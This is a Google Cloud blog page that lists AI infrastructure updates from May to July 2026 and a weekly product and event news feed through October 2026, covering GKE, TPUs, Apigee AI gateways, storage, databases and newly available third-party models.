Guide: AI workloads are notoriously difficult to architect, resource-intensive, and bursty, which can also lead to scaling bottlenecks and large pools of underutilized — or misutilized — compute resources. A new blog outlines the three main ways to achieve dynamic capacity management in Google Cloud: 1) scheduling capacity for planned downtime; 2) maintaining automated fallback capacity for unplanned downtime; and 3) relying on GKE’s core orchestration capabilities to automate resource allocation.

Customer and partner updates

Business orchestration software provider UiPath was dealing with spiky workloads, and wanted more predictable costs. To get there, it re-architected its infrastructure, moving from isolated clusters to a shared Google Cloud GPU fleet that included both A3 VM instances (NVIDIA H100 GPUs) for training with G4 VM instances (NVIDIA RTX PRO 6000 Blackwell Server Edition GPUs) for inference. You can read more about their architecture here.
Mirendil, an frontier AI lab focused on accelerating AI development, announced that it is using AI Hypercomputer with both TPUs and NVIDIA GPUs to support its model pre-training and post-training applications.
Replenit, a retail CRM provider, built its AI decision engine in Google Cloud, using BigQuery, Gemini Enterprise Agent Platform, and open-source Gemma models that it runs on Cloud TPUs. This latter combination provided Replenit with 90% lower pipeline costs than their previous cloud provider, the company reports. Read the full case study for more.
Malachyte architected its AI-powered e-commerce recommendation platform on top of Bigtable, Managed Service for Apache Kafka, Pub/Sub, Compute Engine, and last but not least, GKE. See how it all comes together in this blog.

July 2026

Product, technology, and tools updates

Product update: Google Cloud Managed Lustre is now GA, and available in four distinct performance tiers that deliver throughput ranging from 125 MB/s, 250 MB/s, 500 MB/s, to 1000 MB/s per TiB of capacity — with the ability to scale up to 8 PB of storage capacity. The Managed Lustre solution is powered by DDN’s EXAScaler, combining DDN's decades of leadership in high-performance storage with Google Cloud's expertise in cloud infrastructure.
Product update: C4N network and storage optimized VMs are now GA. C4N is our first network- and block-storage-optimized VM series built to eliminate data-transfer bottlenecks. Powered by 5th Gen Intel Xeon Scalable processors and built on Google's Titanium offloading hardware, it achieves 400 Gbps network bandwidth, 95 million packets per second (MPPS), and up to 25 GiB/s of block storage throughput when paired with Hyperdisk Extreme.
New feature: GKE Dataplane V2 up to 15K Nodes with Network Policies (GA). This capability enables standard GKE clusters to scale up to 15,000 nodes while maintaining full active Network Policy enforcement, supporting the massive infrastructure needs of large enterprise and AI/ML customers.
New feature: Co-operative time-slicing in llm-d. If you’re running reinforcement learning (RL) workloads, you can now interleave independent RL jobs onto shared physical hardware, increasing aggregate accelerator duty cycles from a ~40% baseline up to 70% without impacting model convergence or accuracy.
New AI security tool: Looking to secure your AI supply chain on GKE, deploy AI workloads safely, and cut down on shadow AI? We open-sourced k8s-aibom, a lightweight, unprivileged Kubernetes controller that continuously monitors container clusters to automatically detect running AI runtimes (like vLLM and Triton) and generate standard CycloneDX Machine Learning Bill of Materials (ML-BOMs). Check out the k8s-aibom project and get involved.

Practitioner guides and how-tos

How-to guide: On July 27, Google announced Day 0 support for Moonshot AI’s Kimi K3 2.8-trillion-parameter open-weight model, the day weights were released. Whichever your preferred deployment path — via Model Garden, custom orchestration, or GKE with llm-d recipes — this guide offers detailed step-by-step instructions to help you evaluate and pilot Kimi K3 in Google Cloud.
How-to guide: Google Kubernetes Engine (GKE) managed DRANET supports both GPUs and TPUs. There are several configurations to use this implementation, including standard cluster (where you have full control) and autopilot cluster (where Google does the heavy configs for you). Take a deeper dive in the hands-on lab, GKE Autopilot clusters with TPUs, GKE managed DRANET and Gemma 4.
How-to guide: Learn to run Ray on TPUs, not GPUs. In Part 1 of this two-part series, we discuss TPU slices (hint: Ray thinks of them as just another accelerator on which to schedule), then walk through Ray’s various AI libraries (Part 2).
How-to guide: Evaluate TPUs for sample workloads using a new microbenchmark suite that helps you accurately assess whether a device is achieving its theoretical performance specifications, and to identify specific performance gaps or architecture-specific bottlenecks. Dive in here.
How-to guide: Scale your agents without killing your budget. Learn how GKE orchestration can help you safely pack more agents onto a fixed compute footprint with GKE Agent Sandbox and Pod snapshots. Whether your goal is performance or cost optimization, we teach you how to turn the right dials for optimal agent efficiency.
Technical blueprint: Inside the optimization of Mistral 3 large inference on Ironwood. This blog outlines how one Google team optimized Mistral 3 large MoE model inference on Google’s Ironwood (TPU v7x), achieving a 1.5x performance gain. They did so with hybrid sharding, replacing linear VPU summations with tree reductions, optimizing GMM/MLA kernels, and adopting asynchronous scheduling. As a result, they boosted throughput by up to 48% while maintaining benchmark accuracy neutrality. Read the full blog here.

Research, reports and deep-dives

Report: Google was named a Leader in the inaugural GartnerⓇ Magic Quadrant™ for AI Infrastructure, positioned highest for ‘Ability to Execute’ and furthest for ‘Completeness of Vision’. Gartner called out Google’s proprietary scalable compute, integrated AI Hypercomputer architecture, and the scale of our AI compute capacity as key strengths. Download a copy here.
Report: We recently surveyed more than 1,400 senior IT leaders for our State of AI Infrastructure report, and a resounding pattern emerged: The gap between AI ambition and infrastructure reality is widening. In fact, 83% of organizations say they require infrastructure upgrades to support production-grade agentic AI. Read the accompanying blog to understand how adapting your infrastructure to meet the demands that agentic applications place on your systems will help you move from pilot to production.

June 2026

Product, technology and tool updates

Product update: Protecting sensitive data used with AI is a critical part of advanced and secure cloud infrastructure. Confidential Computing cryptographically protects data in use in hardware-based Trusted Execution Environments (TEEs) with verifiable data integrity, and is now available on the accelerator-optimized G4 machine series, featuring NVIDIA RTX PRO 6000 Blackwell Server Edition GPUs. Get started with Confidential G4 VMs and Confidential G4 GKE Nodes.
Developer resource: The new TPU Developer Hub is the place to go for model builders, optimizers, and developers to learn to unlock the full performance of Google Cloud TPUs. Read more in this blog.
New product: Scale your AI workloads with the new OpenTelemetry-Based TPU AI Telemetry Collector Agent. For the first time, you can route high-fidelity TPU hardware telemetry to Google Cloud Monitoring, Google Managed Prometheus, or your own self-hosted Grafana stack.

Practitioner guides and how-tos

How-to guide: Learn how to build high availability into an AI inference workload running on GKE Inference Gateway with TPUs, Cloud Storage FUSE and Dynamic Resource Allocation (DRA). This blog provides an overview, or you can get all the technical details in the hands-on codelab.
How-to guide: Did you know you can connect your AI agents to unstructured data in Cloud Storage via Model Context Protocol (MCP)? In this blog, learn about why would want to do that from three customer examples, then how to do it, choosing either a fully managed service, or a self-managed local server for more customization and control.

Research, reports and deep-dives

Report: According to an independent benchmark report, GKE Inference Gateway outperforms the next leading managed Kubernetes service with 15.7% higher throughput, 92.8% shorter wait times, and 62.6% lower inter-token latency. This performance can be attributed to its use of prefix caching, which optimizes LLM performance by storing the KV cache (activation states) of long, repetitive prompt prefixes. Learn more in the blog.
Architecture deep dive: A closer look at the cold start problem, this time for TPUs and GKE, and how the Run:ai Model Streamer can help change the dynamic.

Customer and partner updates

Customer win: Leveraging GKE, BigQuery, Cloud SQL, and Gemini Enterprise Agent Platform, Pager Health is eliminating operational fragmentation to deliver a simplified, personalized U.S. healthcare experience that transforms lives.
Customer win: Trustpilot, the customer review platform, built a high-volume streaming pipeline using fine-tuned Gemma models with Dataflow and Gemini Enterprise Agent Platform running on cost-optimized A2 VMs using A100 GPUs, as well as optimized version of vLLM maintained by Gemini Enterprise Agent Platform.

May 2026

Product, technology and tool updates

Product update: GKE Agent Sandbox is now generally available.
New open-source project: Agent Substrate is a new open-source project aimed at continuing to push the limits of agentic infrastructure density
New feature: Google AI Edge Portal, a solution for testing and benchmarking on-device machine learning (ML) at scale, now supports benchmarking and debugging on-device LLMs. Read more here.
Product deep dive: We went into depth about Cloud Storage Rapid, a new family of high-performance storage offerings for AI workloads. At launch, offerings include Rapid Bucket (formerly Rapid Storage), a high-performance zonal object storage offering, and Rapid Cache (formerly Anywhere Cache), which accelerates reads on-demand and colocates compute and data for workloads in existing buckets.

Research, reports and deep dives

Architecture deep dive: Google Global Infrastructure VP Bikash Koley and Engineering Fellow Arjun Singh provide a high-level overview of the challenges that AI workloads pose to network infrastructure, and discuss the deep enhancements we’ve made to our data center fabrics, WAN, and global networks to better support them.
Architecture deep dive: We unveiled a new cluster-level reliability model for developing frontier AI models on TPUs, ditching instance-level reliability

Customer and partner updates

Customer win: Visual media provider Imgix serves more than 8 billion images and videos from AI Hypercomputer equipped with G4 VMs powered by NVIDIA RTX PRO 6000 Blackwell GPUs.

What’s new with Google Cloud

Fri, 30 Oct 2026 16:00:00 +0000

Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more.

Tip: Not sure where to find what you’re looking for on the Google Cloud blog? Start here: Google Cloud blog 101: Full list of topics, links, and resources.

aside_block: <ListValue: []>

Oct 26 - Oct 30

Simplify PostgreSQL Monitoring with the New AlloyDB Omni Web UI
The newly released AlloyDB Omni Web UI delivers a centralized, graphical dashboard that simplifies the management of self-managed PostgreSQL workloads across hybrid, multi-cloud, and air-gapped environments. This browser-based console provides database administrators with deep, real-time insights into cluster health, hardware utilization, and active database connections. It also features built-in query diagnostics and performance tracking for AlloyDB’s columnar engine, enabling quick troubleshooting of bottlenecks without manual terminal commands. To learn more about setting up this monitoring interface, read the full AlloyDB Omni Web UI Blog Post.
Leveraging "Antigravity" to architect high performance semantic model routers in Apigee
Semantic model routing replaces rigid static paths with a lightweight helper model to dynamically classify and dispatch intent-driven LLM traffic. Join Saravanakumar Rajagopal on Thursday, November 12, 2026, at 5:00 PM CET for a Community TechTalk exploring how to leverage Antigravity and skills to architect these intelligent multi-provider routing patterns natively inside Apigee. Discover how to optimize your AI infrastructure and enhance flexibility at scale.

Register for the November 12 Community TechTalk

Oct 19 - Oct 23

From prompt to production: End-to-end AI workflows in Apigee
Deploying an enterprise AI gateway does not require deep API or machine learning expertise. Using declarative workflows in Apigee, teams can spin up a fully governed LLM gateway in minutes using a few environment variables. Join Luis Cuellar on Thursday, October 29, 2026 for a Community TechTalk exploring end-to-end AI workflows. Discover how to layer essential defenses—including Model Armor for prompt protection, Cloud Data Loss Prevention (Cloud DLP) for sensitive data redaction, rate limiting, and response caching—before routing autonomous agent interactions through your gateway filters.

Register for the October 29 Community TechTalk
Zero Standing Privileges with PAM: On-Demand Temporary Access for Humans and AI Agents
AI agents now hand work off to other agents, risking stacked privileges and overpermissioning. Because agents plan their actions on the fly, permanent admin access means one hallucination can cascade into production. Join us on Wednesday, November 18, 2026, at 8:30 AM PST to see how Google Cloud Privileged Access Manager (PAM) brings Zero Standing Privileges to AI delegation, putting humans in command with cloud-native control that doesn't slow developers down.

Register for the November 18 webinar
Streaming comes to API Gateway: real-time and AI-ready APIs
Native streaming support is now in Public Preview for API Gateway, enabling you to run real-time and AI workloads behind your existing gateway. You can now route Server-Sent Events (SSE), WebSockets, gRPC, and chunked transfer encoding without modifying your API spec or managing a split estate. This update also strengthens integration with the Gemini platform, allowing you to stream responses from Gemini, Claude, and OpenAI gpt-oss models seamlessly while maintaining consistent authentication, rate limiting, and observability.

Read the blog to get started

Oct 12 - Oct 16

AI tokenomics in action: Enforcing tiered token budgets with Apigee
Scaling artificial intelligence across an enterprise requires clear token governance to keep LLM spend predictable across departments. Join Tarun Abraham on Thursday, November 5, 2026 for a Community TechTalk on AI tokenomics. Discover how to use Apigee to enforce isolated, tiered token budgets and model access for each team—such as assigning Engineering a dedicated budget for Gemini Pro while covering mixed usage for Marketing—without changing application code. Attendees will also gain access to a sample codebase featuring a reusable Shared Flow.

Register for the November 5 Community TechTalk

Sept 28 - Oct 2

Claude Sonnet 5.5 is now available on Google Cloud. Built for focused coding and knowledge work, it delivers stronger performance for feature development, and creating presentation-ready documents, while offering more intelligence with a lower cost per task for most work at faster speed.

Deploy Sonnet 5.5 directly from Model Garden with Google Cloud’s enterprise security, scale, and governance built in. Try it now.
Mastering Storage Management with Storage Intelligence
In our new blog, explore practical strategies to modernize storage operations using Storage Intelligence Advisor and enhanced Batch Operations. See how customers like Shipt and Palo Alto Networks are using these features to manage their estates at scale. Today, Storage Intelligence is used by 25 of the top 50 GCS customers. 2 in 3 customers have Storage Intelligence enabled for over 90% of their storage footprint.

Explore best practices on our blog
Cut Gen AI costs by 70% with Apigee X dynamic routing
Generative AI deployments face a harsh cost-performance trade-off: static model selection either wastes budget or compromises quality. Discover how to build an Intelligent AI Gateway using Apigee X to dynamically evaluate prompt complexity in real-time. This new blueprint automatically routes simple queries to lightweight models (like Gemini 3.5 Flash Lite) and complex reasoning tasks to advanced models (like Gemini 3.7 Flash), achieving over 70% cost savings without sacrificing output quality.

Read the guide to optimize your Gen AI architecture
AI Agent Clinic launches new hands-on session on production agent evaluations
A new episode of the AI Agent Clinic is now available showing organizations how to move past manual "vibe checks" to build robust, production-grade agent evaluations. In this hands-on session, Google Cloud engineer Dani Zamora and Matthew Feroz (Merge) take DocsHound, an open-source LangGraph agent, and build an end-to-end eval pipeline in under an hour. Learn how to standardize multi-turn traces across any framework using OpenTelemetry and OpenInference, pair LLM judges with deterministic checkers, and catch silent quality regressions before shipping.

Watch here
Drive AI impact: Join Google's Agentic Data Cloud event on Nov 4
Every enterprise plans to adopt agentic AI within two years, but data bottlenecks hold them back—AI accesses just 45% of enterprise data today (MIT, 2026). Google's Agentic Data Cloud provides the trustworthy foundation and real-time context AI needs. Join our product leaders November 4th to explore the latest innovations across databases, analytics, business intelligence, and storage, and get direct answers in our executive Q&A with Google Data Cloud VP & GM Andi Gutmans.

Register today!

Sept 21 - Sept 25

Master MCP tool authorization and agent governance with Apigee
While the Model Context Protocol (MCP) solves interoperability for autonomous AI agents, chained actions like CRM edits or database queries quickly expose systems to unauthorized execution. Join our technical deep dive on Thursday, October 1, 2026, at 5:00 PM CEST featuring Christophe from Google Cloud. Learn how positioning Apigee between MCP clients and enterprise backends enables fine-grained authorization (FGA), complete audit trails, and policy evaluation via emerging standards like OpenID AuthZEN.

Language and accessibility note: This session will be hosted in French, but non-French speakers can follow along seamlessly by turning on Google Meet live translated captions to read in English, Spanish, German, Portuguese, or Italian.

Register for the October 1 Community TechTalk
Apigee Trace Viewer Tutorial: Capturing & Analyzing Proxy Traces
Streamlining API proxy debugging just got easier with a new tutorial by Apigee Customer Engineer Tyler Ayers. The guide covers end-to-end instructions for capturing debug traces in both Google Cloud Apigee X (or Hybrid) and the local Apigee Emulator, extracting trace JSON data via the web UI or automated REST APIs, and analyzing execution flows, variable mutations, and latency bottlenecks using the open source Apigee Trace Viewer.

Read the Apigee Trace Viewer guide today.
Automate Apigee proxy testing locally
Catching errors early saves time and money. A new tutorial by Apigee customer engineer Tyler Ayers shows how to use the Apigee Local Emulator for automated testing. Learn to run tests locally, integrate them into CI/CD pipelines, and deploy on Google Cloud Run for shared sandboxes. This approach provides instant feedback and zero cloud costs, helping teams speed up deployment cycles.

Read the tutorial
Scale your enterprise multi-agent systems with Apigee
Deploying multi-agent architectures in production introduces critical hurdles around security, operational control, and runtime expenses. Discover how Apigee API Hub provides a central discovery surface to eliminate agent sprawl across tools, Model Context Protocol (MCP) servers, and enterprise APIs. Learn how to turn existing backend services into secure MCP tools using Agent Gateway guardrails, while applying semantic caching and intelligent model routing to keep compounding token costs predictable.

Join Google Cloud in Chicago in Oct.15 for The AI Evolution. Reserve your seat for Chicago

Automate Apigee proxy testing with the Apigee Local Emulator
Waiting on remote deployments to validate API proxy logic slows down release cycles and increases infrastructure overhead. Join Nigel Walters on Thursday, October 8, 2026, at 5:00 PM CEST for a Community TechTalk on shift-left testing for Apigee. Discover how to use the Apigee Local Emulator and apigee-emulator-service to run sub-second assertion suites on local machines, automate CI/CD checks in GitHub Actions, and deploy ephemeral preview sandboxes on Google Cloud Run.

Register for the October 8 Community TechTalk
Now in Public Preview: AI-assisted EKS-to-GKE migrations with deterministic guardrails
Migrating complex Kubernetes estates from AWS EKS to GKE is traditionally high-friction and error-prone. Now in Public Preview, GKE Agentic Migration is an open-source agent plugin that replaces ad-hoc LLM prompting with an AI-assisted migration workflow protected by deterministic guardrails.

Running locally in your development harness, it indexes source IaC, maps cloud-specific primitives (such as Karpenter to Custom Compute Classes), and validates configurations offline—delivering reviewable pull requests and data-migration runbooks with zero live cluster mutations.

Learn more in the announcement blog and try the plugin on GitHub.
Claude Opus 5.5 is now available on Google Cloud. Built for everyday complex tasks, it delivers stronger agentic coding, research, and analysis while handling long-running work at a lower cost per token. Google Cloud continues to provide enterprise customers with broad model choice to build, deploy, and scale their AI agents securely.

Try it here.
Import Delta Lake tables with Dataflow Job Builder!
Migrating to borderless Lakehouse just got a lot easier. You can now import Delta Lake tables stored in Cloud Storage using Dataflow Job Builder, a no-code/low-code interface for authoring Dataflow pipelines. Because Dataflow is a fully managed service, you are spared the overhead of provisioning and managing virtual machines. For step-by-step guidance, check out the documentation here.

Sept 14 - Sept 18

Storage Intelligence Advisor for Google Cloud Storage is now GA
Google Cloud Storage customers can now manage cloud storage more effectively with Storage Intelligence Advisor, delivering curated metrics, automated anomaly detection, and actionable recommendations right out of the box, with zero setup required.

Advisor baselines activity across your projects and automatically detects four key anomalies: surges in operations, unexpected rises in cross-region egress, and spikes in errors. Each finding includes deep drill-down visibility into the resources driving the change, alongside prescriptive steps to remediate issues before they impact performance or cost.

Learn more to get started with Storage Intelligence Advisor.
Build private WebSockets from Apigee X to Cloud Run
Real-time AI agents and streaming architectures often require persistent, bidirectional connections. A new implementation guide by Apigee Customer Engineer Joel Gauci demonstrates how to establish private southbound connectivity between Apigee X and Cloud Run. Using Private Service Connect (PSC) and a Regional Internal Application Load Balancer, teams can enforce API governance and security policies at the edge while keeping backend services completely isolated from the public internet.

Explore the step-by-step guide and open-source code
Connecting Gemini Enterprise Agent Runtime to Apigee with Private Service Connect
Deploying autonomous AI agents often presents security, compliance, and cost challenges. A new reference guide details how to build an end-to-end, private architecture between Gemini Enterprise Agent Runtime and Apigee. This design helps protect internal backends and manage token quotas.

Read the full community guide and deploy the code
Discover what’s new and next in Apigee
As enterprise architectures adapt to generative AI and autonomous workflows, Apigee is expanding its proven platform capabilities to support modern AI gateway use cases alongside traditional API management. Join our session on Thursday, September 24, featuring Apigee Product Manager Geir Sjurseth. Get an inside look at recent product releases, explore architectural patterns for securing models and agents, and bring your questions for the live Q&A.

Register for the September 24 Apigee product update
Managed Service for Apache Kafka supports clusters with public Internet access!
With Managed Kafka public clusters, you can now produce and consume messages from clients outside your VPC—including your local machine, for faster, frictionless testing. Public clusters unlock use cases like IoT devices, retail storefronts, and telco network towers. Enable public access on new or existing clusters via the Google Cloud console, gcloud CLI, or REST API. Spin up your first public cluster, or reach out to kafka-hotline@google.com with questions.
Stream data directly into Bigtable using Bigtable subscriptions, now in Preview!
You can write Pub/Sub messages to a Bigtable table with zero ETL with Bigtable subscriptions. No pipelines, no code, delivered by the serverless, zero-ops experience you already know with Pub/Sub. Power your AI workloads, from model telemetry to real-time context engineering, without the overhead of managing complicated ETL pipelines. Built to be dependable, with native support for dead-letter topics. Try the feature today!

Sept 7 - Sept 10

Why Your Voice Agent Needs Session Auditing
Moving voice agents to production demands robust quality monitoring. This guide dives deep into the inner workings of the Agent Development Kit (ADK) responsible for audio session auditing. Learn how the ADK's save_live_blob feature intercepts, buffers, and stores raw audio chunks during active Gemini Live sessions. We explore building an automated post-processing pipeline to seamlessly stitch these fragments into cohesive, playable audio files. Discover how to leverage these vital audio audit trails to monitor real-world interactions, diagnose failures, and ensure enterprise-grade reliability. Read the full guide here.
AlloyDB Omni Red Hat RPM Orchestrator now Generally Available
AlloyDB Omni Red Hat RPM orchestrator is now Generally Available. The AlloyDB Omni Red Hat RPM orchestrator offers a new way to manage PostgreSQL-compatible workloads on bare metal or VM platforms, combining the high performance of AlloyDB, access to generative AI features and Gemini models to build AI agents and applications, and full automation. The orchestrator simplifies cluster provisioning and lifecycle management by allowing you to define reference architecture specifications, customizable by adjusting instance parameters, node configurations, and networking options — discover all details in full blog post.

Aug 31 - Sept 4

Automate VM guest software lifecycle with VM Extension Manager, now GA
Google Cloud VM Extension Manager is now generally available, eliminating the need for custom startup scripts to manage guest OS extensions across Compute Engine fleets. Define declarative, project-wide policies that enforce desired software states across all regions and zones. Benefit from continuous drift detection with automatic self-healing, multi-zone phased rollouts with automated rollbacks on failure, and centralized fleet health visibility integrated with Cloud Monitoring.

Explore VM Extension Manager documentation
Assess Apigee migrations without a target environment
Planning a migration to Apigee X or Hybrid? You can now assess your legacy Apigee Edge SaaS or OPDK environment earlier in your planning cycle. Using the updated --skip-target-validation flag in the Apigee Migration Assessment Tool, teams can generate a full inventory and establish scope baselines before target infrastructure or IAM credentials are provisioned.

Read the guide to learn more.
Claude Fable 5.1 is now available on Agent Platform. It brings performance improvements over Fable 5 across reasoning, full-lifecycle coding, multi-tool workflows, and knowledge work.

Anthropic also announced Enterprise Frontier Safeguards, a solution that gives customers the option to safely deploy Anthropic’s most capable models while storing their data in cloud infrastructure they control.

We continue to offer enterprise customers options across frontier models to build, deploy, and scale securely on Google Cloud.

Aug 24 - Aug 28

Grok 4.6 is now available in Preview on Gemini Enterprise. xAI's most capable model, built for coding, agentic tasks, and knowledge work, Grok 4.6 joins Grok 4.3 and Grok 4.20 in Model Garden and becomes the flagship of the Grok family. It supports reasoning, function calling, and structured output for multi-step agentic workflows, and accepts text and image input.

Get started today
Empowering autonomous agents with advanced security governance
AI agents offer incredible productivity gains, but granting them access to read emails, query databases, and trigger APIs introduces critical new security risks. In fact, 79% of tech leaders cite security and governance as their biggest challenge to scaling AI. Traditional tools are no longer enough to handle automated threats like prompt injection and dynamic permissions. Discover how forward-thinking enterprises are using secure-by-default design, agent identity governance, and human-in-the-loop controls to deploy agents with confidence.

Read more
Stateful processing is available in BigQuery continuous queries in Preview
Stateful operations significantly expand what’s possible with BigQuery continuous queries. This feature allows users to leverage functions like JOINs, aggregations, and windowing functions directly in their streaming queries. Now you can calculate metrics over time (for example, a 30-minute average) to power your downstream applications and AI agents with much richer, real-time signals.
Try out our feature here and share your feedback with bq-continuous-queries-feedback@google.com!
Synthetic data generator tool is available for Managed Service for Kafka
You’ve launched your first Kafka cluster. Now what? The next thing to do is to produce some data to the cluster, but that involves modifying a client application somewhere or spinning up a virtual machine. The synthetic data generator tool, now generally available, can start sending mock data to your cluster in 3 clicks, and will get data streaming into your cluster in less than two minutes. The perfect utility for those moments you just want to test your cluster and new features. Try our quickstart today!
Dataflow pipeline updates are faster & more flexible
Dataflow pipeline updates can now stop-and-replace pipelines, a major addition to the existing in-place-update feature. The new parallel pipeline option accelerates the migration between the old & new pipeline, resulting in reduced disruption to your business. You can also set a timeout on drains that prevents runaway costs for your pipeliness in the event of stuck processing. This feature is generally available. Try it here!

Aug 17 - Aug 21

Webinar: Agent Identity as the backbone for secure AI innovation
An AI agent with a stolen API key looks identical to a legitimate one. As autonomous agents scale across enterprise systems, static credentials and legacy IAM policies can no longer keep up with machine-speed execution. Join Shaun Liu, Product Manager at Google Cloud, on August 27 at 1 PM ET to explore Google Cloud’s vision for unifying agent, human, and nonhuman identity into a workload-centric platform using verifiable cryptographic identities (SPIFFE, ID-JAG, OAuth).

Register for the webinar now

Aug 10 - Aug 14

Diagnosing Apigee Hybrid Cassandra Read Latency for Peak Performance
Diagnose real-time Cassandra read latency and resolve API key verification bottlenecks in Apigee Hybrid with this step-by-step troubleshooting guide. Learn how to deploy a debugging client and query performance tables to maintain sub-millisecond response times.

Read the Apigee Hybrid Cassandra Troubleshooting Guide
Keep moving with agents! The All Things Agentic Hackathon is officially live.
We're challenging builders to build next-generation agents that take on the busy work and handle the heavy lifting in the background using Gemini 3.5 and Google Cloud. Compete for your share of $190,000 in prizes, cash, and Google Cloud credits! Submissions are open from August 3, 2026, to August 31, 2026.

Learn more and register. Sign up for GEAR to get exclusive updates and your badge. #AllThingsAgenticHackathon
Accelerate PostgreSQL migrations using Gemini in Database Migration Service
Enterprise database migrations often stall during the "last mile" of translating legacy stored procedures, triggers, and custom functions from Oracle or SQL Server. Database Migration Service (DMS) now provides AI-assisted code conversion powered by Gemini in Databases. By combining deterministic compiler rules for 1:1 syntax with Gemini contextual synthesis for complex procedural blocks, DMS converts legacy code into native PostgreSQL and AlloyDB with full schema awareness and side-by-side validation.

Read the full blog post to learn how to streamline your database code conversion.
Compute Flex CUDs now available for G2 and G4 GPU VMs
Compute Flexible Committed Use Discounts (Flex CUDs) are now available for G2 (NVIDIA L4) and G4 (NVIDIA RTX Pro 6000) VMs. You can now lock in predictable savings while retaining the flexibility to adapt across VM families, migrate between regions, and combine general-purpose compute, GKE, Cloud Run, and G2 & G4 GPU VMs under a single spend commitment. Flex CUDs for G-series VMs let you lock in savings today while preserving the agility to upgrade to latest hardware without disruption!

Explore VM instance pricing or learn more about Flex CUDs.
Rapid Bucket accelerates the training and checkpoint performance in PyTorch Ecosystem via GCSFS
With the release of GCSFS 2026.8.0, organisations can now unlock maximum ROI from their AI/ML infrastructure by eliminating data starvation on GPUs in PyTorch ecosystem when they are using Frameworks like Dask, Pandas, PyTorch , PyTorch Lightning, Hugging Face Datasets, Ray dataetc. By making adaptive concurrent prefetching the default, GCSFS dynamically predicts and background-fetches sequential read patterns—boosting single-file throughput by 5x, and scaling up to 21 GiB/s , saturating the NIC when paired with Rapid Bucket. Saturating the NIC translates to significantly improved accelerator goodput and reduced training wait times with zero integration friction. Training and checkpoint restore workflows benefit from intelligent memory management that automatically drains the buffer during random reads to completely avoid bandwidth or memory penalties.

Aug 3 - Aug 7

Navigate data sovereignty and AI innovation with hybrid cloud
For enterprises facing strict compliance rules, keeping sensitive data on-premises often means missing out on cutting-edge AI. Data from the 2026 State of AI Infrastructure report reveals that 52% of IT leaders are adopting hybrid cloud strategies to bridge this gap. Our latest blog post explores how Google Distributed Cloud (GDC) helps organizations deploy connected or air-gapped models to run advanced AI entirely within secure environments—mitigating geopolitical risks without sacrificing innovation. Read more.
SAP and Google Cloud Launch BDC Connect for BigQuery
For years, enterprises have struggled with the cost, risk, and complexity of moving mission-critical SAP data into advanced analytics platforms. The general availability of SAP Business Data Cloud (BDC) Connect for BigQuery marks a turning point. By introducing revolutionary zero-copy, bi-directional data sharing, this new capability seamlessly bridges SAP systems with Google Cloud's powerful data and AI ecosystem. Instead of wrestling with manual data duplication and lost business context, organizations can now eliminate silos, dramatically lower their analytics costs, and rapidly deploy trustworthy, agentic AI solutions grounded in real-time operational reality. Read the full announcement to learn how to transform your data strategy.
Google Cloud Cortex Framework version 7 is now generally available!
This release helps you modernize your data architecture for AI agent readiness, enabling you to quickly deploy, customize, and extend robust data products while simplifying orchestration and reducing infrastructure overhead. It provides data product accelerators for SAP-sourced data to build trusted, high-quality data products ready for advanced analytics and agentic use cases. The Framework integrates with Google Cloud products including BigQuery, Dataform, Knowledge Catalog, and Gemini Enterprise Agent Platform. Learn more in our announcement blog, technical documentation, or try a demo deployment today.
From API Management to AI Gateway with Apigee
Massive LLM adoption unlocked automation but exposed critical vulnerabilities, from unpredictable token costs to security risks like prompt injection. Without central management, organizations face accelerated technical debt. Learn how to transform Apigee into an enterprise AI Gateway to centralize governance. This architectural roadmap details how to utilize semantic cache to optimize token costs, implement prompt protection policies for security, and productize tools using the emerging MCP standard.

Read the full architectural roadmap on the Apigee Community Hub
Centrally govern enterprise AI traffic with Apigee AI Gateway
Manage, track, and secure model communication across your entire infrastructure from a single pane of glass. In a new video walkthrough, Principal Architect Tyler Ayers demonstrates how Apigee AI Gateway simplifies agentic governance. Learn how to transparently proxy model traffic, log real-time token counts, and apply runtime security quotas without impacting your developer workflow.

Watch the Apigee AI Gateway demo
Maximize Provisioned Throughput Utilization
Sudden traffic micro-spikes can exceed per-second quotas, triggering 429 errors or forcing overflow into shared resource pools. A new architectural guide demonstrates how to build a serverless "shock absorber" using Cloud Run and Google Cloud Tasks. By decoupling request ingestion from execution, this queue-based pattern flattens volatile traffic bursts and smoothly drips requests to Gemini at your exact quota rate, maximizing Provisioned Throughput utilization while eliminating job failures during peak usage. Read the step-by-step setup guide.
Eliminate security blindspots in agentic tool interactions
Unmonitored agentic tool calls via the Model Context Protocol (MCP) can introduce critical security risks to your enterprise architecture. Join our technical deep dive on Thursday, August 13, to discover how to position Apigee as a centralized security gateway. Featuring the new ParsePayload policy and payload operations groups in API Products, this session demonstrates how to enforce granular tool filtering, manage execution quotas, and scale secure agent ecosystems without impeding developer velocity.

Register for the August 13 Community TechTalk

Jul 27 - Jul 31

Data Cloud and Apigee CDMX: The AI Agent Evolution | August 12, 2026
Enterprise AI demands evolution beyond basic conversational assistants. To generate real value, AI models must connect with the organization's core systems and live data sources. Join us this August 12 at Google CDMX for the exclusive event AI Evolution: Powering Tomorrow's Enterprise. Learn how to design an agile and secure ecosystem by unifying the power of Gemini, Apigee, and data agent technologies through practical demonstrations led by Google Cloud engineers.

Secure your spot for the in-person session in Mexico City Register now!
Vast Edge, built on GCP, launches the first live recovery interface for cloud backups, enabling IT teams to inspect backup contents in real time. This transforms backups from a blind, log-based process into an interactive platform where teams can instantly search, preview, and validate the exact data available for restore.

This platform protects Google Workspace, NetSuite, Salesforce, Workday and many SaaS environments, providing complete visibility and enterprise-grade oversight.

Visit Vast Edge Backup & Disaster Recovery and get a free trial of their backup solutions on the GCP Marketplace for Google Workspace Backup, NetSuite Backup, Salesforce Backup, and Workday Backup.

Jul 20 - Jul 24

Claude Opus 5, Anthropic’s latest model, is now available on Agent Platform. It brings performance improvements over Opus 4.8 across coding, long-running agents, and knowledge work.The model is Zero Data Retention (ZDR) compatible. For safety, high-risk workflows — such as penetration testing or exploit generation — it will notify you and fall back to Opus 4.8.We’re excited to continue to offer enterprise customers options across frontier models to build, deploy, and scale AI securely. Try it here.
Apigee Northam Roadshow 2026 | The AI Agent Evolution: Powering Tomorrow's Enterprise
AI is evolving. As your organization deploys autonomous agents, the integration between APIs and models becomes critical. Join Google Cloud specialists for an exclusive day of deep-dive sessions and live demos. Discover how the unified power of Apigee and the Google Cloud Agent Platform allows you to build, govern, and scale high-performance AI agents with complete control. Call to Action: Register for Sunnyvale | Register for NYC | Register for Chicago
Deploy an Apigee Proxy for MCP Registry Discovery
